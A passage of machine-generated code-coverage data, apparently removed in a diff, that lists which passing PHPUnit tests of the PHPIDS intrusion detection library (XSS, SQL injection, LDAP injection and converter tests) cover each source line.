class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel173": { - "header": "42 tests cover line 173", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel174": { - "header": "42 tests cover line 174", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel175": { - "header": "42 tests cover line 175", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel177": { - "header": "42 tests cover line 177", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel193": { - "header": "41 tests cover line 193", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel198": { - "header": "41 tests cover line 198", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel203": { - "header": "41 tests cover line 203", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel204": { - "header": "1 test covers line 204", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel205": { - "header": "1 test covers line 205", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel206": { - "header": "1 test covers line 206", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel207": { - "header": "1 test covers line 207", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel208": { - "header": "1 test covers line 208", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel209": { - "header": "1 test covers line 209", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel212": { - "header": "1 test covers line 212", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel213": { - "header": "1 test covers line 213", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li></ul>", - "footer": "" - }, - "panel219": { - "header": "41 tests cover line 219", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel229": { - "header": "41 tests cover line 229", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li></ul>", - "footer": "" - }, - "panel230": { - "header": "41 tests cover line 230", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li 